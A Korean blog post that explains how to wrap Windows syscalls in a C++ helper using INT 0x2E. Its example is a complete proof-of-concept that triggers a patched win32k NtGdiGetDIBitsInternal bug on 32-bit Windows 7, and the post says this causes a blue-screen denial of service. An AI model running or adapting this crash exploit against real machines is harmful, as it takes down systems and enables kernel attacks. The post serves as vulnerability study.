C++ – SYSCALL 함수 만들기

여기서 설명할 버그는 win32k!NtGdiGetDIBitsInternal syscall 에서 발생합니다. 이 함수는 초기 윈도우 버전(적어도 Windows NT) 부터 제공되는 함수로 GetDIBits, BitBlt, StretchBlt 등의 함수에서 내부적으로 호출합니다. 구글 프로젝트 제로가 보고한 runrelated double-fetch 취약점을 패치하기위해 최근 MS 의 4월 패치에 패치 대상이 되기도 했습니다.(CVE-2017-0058, issue #1078) 이 취약점은 다른 벤더사에 보고된적도 있었지만, 활용도가 낮아 크게 이슈화 되진 않았었습니다.

NtGdiGetDIBitsInternal 의 설계의도는 Device Context, HBITMAP 오브젝트, 스캔 시작라인, 스캔할 라인 수, BITMAPINFO 헤더와 이 데이터를 저장할 버퍼 에 기반해 비트맵 데이터를 얻는 것이었습니다. 함수 선언부는 아래서 확인할 수 있습니다. (출처 – ReactOS)

INT
APIENTRY
NtGdiGetDIBitsInternal(
    _In_ HDC hdc,
    _In_ HBITMAP hbm,
    _In_ UINT iStartScan,
    _In_ UINT cScans,
    _Out_writes_bytes_opt_(cjMaxBits) LPBYTE pjBits,
    _Inout_ LPBITMAPINFO pbmi,
    _In_ UINT iUsage,
    _In_ UINT cjMaxBits,
    _In_ UINT cjMaxInfo)

버그가 발생하는 원인에 대해 출처에서 자세히 확인할 수 있습니다. 더 쉽게 풀어 쓰고 싶지만 시간상 이유로 다음 기회에 다루도록 하고 여기선 이 소스코드에서 사용한 SYSCALL 을 함수화 시켜 사용하는 방법에 대해 다루겠습니다.

SYSCALL 을 호출해줄 함수의 선언은 다음과 같습니다. 지난 글에서 설명한 INT 2E 를 활용한 Native API 호출방법을 참고한다면 이 선언부가 어떻게 동작하는지 더 쉽게 파악할 수 있습니다.

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

이후에는 아래와 같은 방식으로 호출할 수 있습니다. 예제에서 처럼 NtGdiGetDIBitsInternal 를 호출한다면 이렇게 진행될 것입니다.

CONST ULONG __NR_NtGdiGetDIBitsInternal = 0x10b3;
SystemCall32(__NR_NtGdiGetDIBitsInternal,
               hdc,
               hbmp,
               0,
               1,
               output_buffer,
               &bmi,
               DIB_RGB_COLORS,
               1,
               sizeof(bmi)
              );

이 소스를 활용하면 SYSCALL 을 별도의 인라인 어셈블리 없이 쉽게 함수화 시켜 쓸 수 있습니다. BSOD 를 일으켜 DoS 를 할 수 있는 예제코드 전문을 아래에서 확인하시죠.

BSOD 발생화면

#include <Windows.h>
#include <assert.h>
 
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}
 
int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiGetDIBitsInternal = 0x10b3;
 
  // Initialize the graphic subsystem for this process.
  LoadLibraryA("gdi32.dll");
 
  // Load an external bitmap as HBITMAP and select it in the device context.
  HDC hdc = CreateCompatibleDC(NULL);
  HBITMAP hbmp = (HBITMAP)LoadImage(NULL, L"test.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE);
 
  assert(hdc != NULL);
  assert(hbmp != NULL);
 
  SelectObject(hdc, hbmp);
 
  // Allocate a 4-byte buffer for the output data.
  LPBYTE lpNewRegion = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  assert(lpNewRegion != NULL);
 
  memset(lpNewRegion, 0xcc, 0x1000);
  LPBYTE output_buffer = &lpNewRegion[0xffc];
 
  // Trigger the vulnerability.
  BITMAPINFOHEADER bmi = { sizeof(BITMAPINFOHEADER), // biSize
                           100,                      // biWidth
                           100,                      // biHeight
                           1,                        // biPlanes
                           8,                        // biBitcount
                           BI_RLE8,                  // biCompression
                           0x10000000,               // biSizeImage
                           0,                        // biXPelsPerMeter
                           0,                        // biYPelsPerMeter
                           0,                        // biClrUsed
                           0,                        // biClrImportant
  };
 
  SystemCall32(__NR_NtGdiGetDIBitsInternal,
               hdc,
               hbmp,
               0,
               1,
               output_buffer,
               &bmi,
               DIB_RGB_COLORS,
               1,
               sizeof(bmi)
              );
 
  return 0;
}

jumpingwhale

풀스택 분석가가 되고싶은 목마른 다이버. 우물이 없어? 내가 팔게!

답글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다.